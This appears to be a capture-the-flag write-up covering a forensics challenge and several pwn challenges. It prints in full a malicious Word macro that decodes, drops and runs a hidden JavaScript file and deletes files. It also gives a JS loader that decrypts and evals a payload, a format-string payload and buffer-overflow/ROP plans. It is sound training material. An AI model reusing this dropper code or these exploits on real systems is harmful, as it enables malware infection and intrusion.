We are given a .pcapng file so we will open it in Wireshark. The first thing I like to do when opening pcap files is to go to Statistics > Protocol Hiearchy
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We can see that there are some HTTP packets.
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Lets filter out those packets
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When we follow TCP stream 3, we can see the user sent a GET request for a discordnitro.ps1 file. Its content can also be viewed in Wireshark After reading the script, it looks like the extremely long string is being reversed and decoded from base64.
Browsing through the decoded powershell script, we find this
$part1 = "SFRCe2ZyMzNfTjE3cjBHM25fM3hwMDUzZCFf"
When we decode it from base64, we get
HTB{fr33_N17r0G3n_3xp053d!_
Thats neat but we still have to find the other part of the flag. Since we are even given the AES Key, it can be safe to assume that we will need to AES decrypt something.
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Looking back at the HTTP packets, there is a POST request to /rj1893rj1joijdkajwda which is the same as the URL defined in the powershell script.
This is the encrypted data that we need to decrypt. Next, we will need the encryption key which can be obtained by decoding Y1dwaHJOVGs5d2dXWjkzdDE5amF5cW5sYUR1SWVGS2k= from based64 to get cWphrNTk9wgWZ93t19jayqnlaDuIeFKi
Public IAiiymixt As String
Public kWXlyKwVj As String
Function JFqcfEGnc(given_string() As Byte, length As Long) As Boolean
Dim xor_key As Byte
xor_key = 45
For i = 0 To length - 1
given_string(i) = given_string(i) Xor xor_key
xor_key = ((xor_key Xor 99) Xor (i Mod 254))
Next i
JFqcfEGnc = True
End Function
Sub AutoClose() 'delete the js script'
On Error Resume Next
Kill IAiiymixt
On Error Resume Next
Set aMUsvgOin = CreateObject("Scripting.FileSystemObject")
aMUsvgOin.DeleteFile kWXlyKwVj & "\*.*", True
Set aMUsvgOin = Nothing
End Sub
Sub AutoOpen()
On Error GoTo MnOWqnnpKXfRO
Dim chkDomain As String
Dim strUserDomain As String
chkDomain = "GAMEMASTERS.local"
strUserDomain = Environ$("UserDomain")
If chkDomain <> strUserDomain Then
Else
Dim gIvqmZwiW
Dim file_length As Long
Dim length As Long
file_length = FileLen(ActiveDocument.FullName)
gIvqmZwiW = FreeFile
Open (ActiveDocument.FullName) For Binary As #gIvqmZwiW
Dim CbkQJVeAG() As Byte
ReDim CbkQJVeAG(file_length)
Get #gIvqmZwiW, 1, CbkQJVeAG
Dim SwMbxtWpP As String
SwMbxtWpP = StrConv(CbkQJVeAG, vbUnicode)
Dim N34rtRBIU3yJO2cmMVu, I4j833DS5SFd34L3gwYQD
Dim vTxAnSEFH
Set vTxAnSEFH = CreateObject("vbscript.regexp")
vTxAnSEFH.Pattern = "sWcDWp36x5oIe2hJGnRy1iC92AcdQgO8RLioVZWlhCKJXHRSqO450AiqLZyLFeXYilCtorg0p3RdaoPa"
Set I4j833DS5SFd34L3gwYQD = vTxAnSEFH.Execute(SwMbxtWpP)
Dim Y5t4Ul7o385qK4YDhr
If I4j833DS5SFd34L3gwYQD.Count = 0 Then
GoTo MnOWqnnpKXfRO
End If
For Each N34rtRBIU3yJO2cmMVu In I4j833DS5SFd34L3gwYQD
Y5t4Ul7o385qK4YDhr = N34rtRBIU3yJO2cmMVu.FirstIndex
Exit For
Next
Dim Wk4o3X7x1134j() As Byte
Dim KDXl18qY4rcT As Long
KDXl18qY4rcT = 13082
ReDim Wk4o3X7x1134j(KDXl18qY4rcT)
Get #gIvqmZwiW, Y5t4Ul7o385qK4YDhr + 81, Wk4o3X7x1134j
If Not JFqcfEGnc(Wk4o3X7x1134j(), KDXl18qY4rcT + 1) Then
GoTo MnOWqnnpKXfRO
End If
kWXlyKwVj = Environ("appdata") & "\Microsoft\Windows"
Set aMUsvgOin = CreateObject("Scripting.FileSystemObject")
If Not aMUsvgOin.FolderExists(kWXlyKwVj) Then
kWXlyKwVj = Environ("appdata")
End If
Set aMUsvgOin = Nothing
Dim K764B5Ph46Vh
K764B5Ph46Vh = FreeFile
IAiiymixt = kWXlyKwVj & "\" & "mailform.js"
Open (IAiiymixt) For Binary As #K764B5Ph46Vh
Put #K764B5Ph46Vh, 1, Wk4o3X7x1134j
Close #K764B5Ph46Vh
Erase Wk4o3X7x1134j
Set R66BpJMgxXBo2h = CreateObject("WScript.Shell")
R66BpJMgxXBo2h.Run """" + IAiiymixt + """" + " vF8rdgMHKBrvCoCp0ulm"
ActiveDocument.Save
Exit Sub
MnOWqnnpKXfRO:
Close #K764B5Ph46Vh
ActiveDocument.Save
End If
End Sub
Looking at the script made my eyes bleed but I copied the script and pasted it into ChatGPT and asked it to reverse engineer it for me.
It reads the current document (itself) into a byte array
Uses a regex to search for string "sWcDWp36x5oIe2hJGnRy1iC92AcdQgO8RLioVZWlhCKJXHRSqO450AiqLZyLFeXYilCtorg0p3RdaoPa" in the byte array
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If not found, it exits. Else, it reads data from the index of the string.
It performs xor on the extracted data with JFqcfEGnc() function
It saves the content into mailform.js
It runs the file and passes "vF8rdgMHKBrvCoCp0ulm" as the argument
Extract Data Script
filename = 'invitation.docm'
search_string = "sWcDWp36x5oIe2hJGnRy1iC92AcdQgO8RLioVZWlhCKJXHRSqO450AiqLZyLFeXYilCtorg0p3RdaoPa"
output_filename = "mailform.js"
def extract_data_after_string(filename, search_string):
try:
with open(filename, 'rb') as file:
binary_data = file.read()
search_bytes = search_string.encode('utf-8')
start_index = binary_data.find(search_bytes)
if start_index != -1:
extracted_data = binary_data[start_index + 80:]
extracted_data = bytearray(extracted_data)
return extracted_data
else:
print(f"String '{search_string}' not found in the binary data.")
except FileNotFoundError:
print(f"Error: File '{filename}' not found.")
def xorrr(given_string, length):
xor_key = 45
for i in range(length):
given_string[i] = given_string[i] ^ xor_key
xor_key = ((xor_key ^ 99) ^ (i % 254))
return given_string
data = extract_data_after_string(filename, search_string)
xor_data = xorrr(data, 13082)
with open(output_filename, 'wb') as f:
f.write(xor_data)
I wrote this python script with the help of ChatGPT to extract the bytes. When we cat mailform.js, we will find javascript code and a blob of random data following the code. I just copy and pasted the javascript code out. Then, I put it into a beautifer
Beautified Code
var lVky = WScript.Arguments;
var DASz = lVky(0)
var Iwlh = lyEK();
Iwlh = JrvS(Iwlh);
Iwlh = xR68(DASz, Iwlh);
eval(Iwlh);
function af5Q(r) {
var a = r.charCodeAt(0);
if (a === 43 || a === 45) return 62;
if (a === 47 || a === 95) return 63;
if (a < 48) return -1;
if (a < 58) return a - 48 + 26 + 26;
if (a < 91) return a - 65;
if (a < 123) return a - 97 + 26;
}
function JrvS(r) {
var a = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";
var t;
var l;
var h;
if (r.length % 4 > 0) return;
var u = r.length;
var g = r.charAt(u - 2) === "=" ? 2 : r.charAt(u - 1) === "=" ? 1 : 0;
var n = new Array(r.length * 3 / 4 - g);
var i = g > 0 ? r.length - 4 : r.length;
var z = 0;
function b(r) {
n[z++] = r;
}
for (t = 0, l = 0; t < i; t += 4, l += 3) {
h = af5Q(r.charAt(t)) << 18 | af5Q(r.charAt(t + 1)) << 12 | af5Q(r.charAt(t + 2)) << 6 | af5Q(r.charAt(t + 3));
b((h & 16711680) >> 16);
b((h & 65280) >> 8);
b(h & 255);
}
if (g === 2) {
h = af5Q(r.charAt(t)) << 2 | af5Q(r.charAt(t + 1)) >> 4;
b(h & 255);
} else if (g === 1) {
h = af5Q(r.charAt(t)) << 10 | af5Q(r.charAt(t + 1)) << 4 | af5Q(r.charAt(t + 2)) >> 2;
b(h >> 8 & 255);
b(h & 255);
}
return n;
}
function xR68(r, a) {
var t = [];
var l = 0;
var h;
var u = "";
for (var g = 0; g < 256; g++) {
t[g] = g;
}
for (var g = 0; g < 256; g++) {
l = (l + t[g] + r.charCodeAt(g % r.length)) % 256;
h = t[g];
t[g] = t[l];
t[l] = h;
}
var g = 0;
var l = 0;
for (var n = 0; n < a.length; n++) {
g = (g + 1) % 256;
l = (l + t[g]) % 256;
h = t[g];
t[g] = t[l];
t[l] = h;
u += String.fromCharCode(a[n] ^ t[(t[g] + t[l]) % 256]);
}
return u;
}
function lyEK() {
var r = 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return r;
}
I will run this code in an online js compiler. But first, replace var lVky = WScript.Arguments; var DASz = lVky(0) with var DASz = "vF8rdgMHKBrvCoCp0ulm" since we already know the argument being passed into it.
undefined8 main(void)
{
int iVar1;
long in_FS_OFFSET;
char input [6];
undefined8 password;
long local_10;
local_10 = *(long *)(in_FS_OFFSET + 0x28);
password = 0x2073736170743377;
read(0,input,7);
iVar1 = strcmp(input,(char *)&password);
if (iVar1 == 0) {
open_door();
}
else {
error("You activated the alarm! Troops are coming your way, RUN!\n");
}
if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
/* WARNING: Subroutine does not return */
__stack_chk_fail();
}
return 0;
}
We can see that it reads 7 bytes into a 6 byte buffer so theres a 1 byte overflow. Luckily, we overflow into the password variable. Our attack strategy is to send 7 null bytes and write 1 null byte into the password variable. Strcmp() compares null terminated strings so if the first byte of the password is already a nullbyte, it will compare 0 to 0 which makes it return 0 and print the flag
We have a format string vulnerability and we must modify local_48's value to 0x1337beef
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After passing it some %p format, we can see that the 6th pointer contains 0x7fffffffdd70 and if we look at gdb, the address 0x7fffffffdd70 points to our variable which stores 0x1337babe. So, we just need to craft a format string payload to modify its value to beef
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the value 0xbeef is 48879 in decimal.
%#48878x.%7$hn
Flag : HTB{m45t3r_0f_d3c3pt10n}
This will be our final payload. The reason 1 is reduced from 48879 is because theres a full stop inside the payload which adds 1 to the total number of characters.
Pwn/Rocket Blaster XXX
Decompiled Code
undefined8 main(void)
{
undefined8 local_28;
undefined8 local_20;
undefined8 local_18;
undefined8 local_10;
banner();
local_28 = 0;
local_20 = 0;
local_18 = 0;
local_10 = 0;
fflush(stdout);
printf(
"\nPrepare for trouble and make it double, or triple..\n\nYou need to place the ammo in the right place to load the Rocket Blaster XXX!\n\n>> "
);
fflush(stdout);
read(0,&local_28,0x66);
puts("\nPreparing beta testing..");
return 0;
}
void fill_ammo(long param_1,long param_2,long param_3)
{
ssize_t sVar1;
char local_d;
int local_c;
local_c = open("./flag.txt",0);
if (local_c < 0) {
perror("\nError opening flag.txt, please contact an Administrator.\n");
/* WARNING: Subroutine does not return */
exit(1);
}
if (param_1 != 0xdeadbeef) {
printf("%s[x] [-] [-]\n\n%sPlacement 1: %sInvalid!\n\nAborting..\n",&DAT_00402010,&DAT_00402008,
&DAT_00402010);
/* WARNING: Subroutine does not return */
exit(1);
}
if (param_2 != 0xdeadbabe) {
printf(&DAT_004020c0,&DAT_004020b6,&DAT_00402010,&DAT_00402008,&DAT_00402010);
/* WARNING: Subroutine does not return */
exit(2);
}
if (param_3 != 0xdead1337) {
printf(&DAT_00402100,&DAT_004020b6,&DAT_00402010,&DAT_00402008,&DAT_00402010);
/* WARNING: Subroutine does not return */
exit(3);
}
printf(&DAT_00402140,&DAT_004020b6);
fflush(stdin);
fflush(stdout);
while( true ) {
sVar1 = read(local_c,&local_d,1);
if (sVar1 < 1) break;
fputc((int)local_d,stdout);
}
close(local_c);
fflush(stdin);
fflush(stdout);
return;
}
Looking at the decompiled code, looks like we have a BOF and we need to call fill_ammo() to get the flag. However, we need to set up the registers according to the values defined in fill_ammo() to be able to get the flag.
Looking at the code, theres not much going on other than a BOF. Theres no win function so we'd probabably have to spawn a shell.
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Looking at the functions imported into the binary from libc, theres only read() and write(). So our attack plan will be to call write() and pass it the address of write in the GOT to get a leak. Looking at the ROP gadgets available, we have what we need to be able to do this.
void main(void)
{
char local_28 [32];
system("clear && echo -n \'~The Sound of Silence is mesmerising~\n\n>> \'");
gets(local_28);
return;
}
Looking at the code, its very similar to the previous challenge.
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The only difference is that only gets() and system() are imported into the binary. Somehow we have to spawn a shell with only gets(). This is possible because when you finish calling gets(), the pointer to the string you input is still in the rdi. So, if you call system() immediately after gets(), the argument passed to system() will be what you input into gets().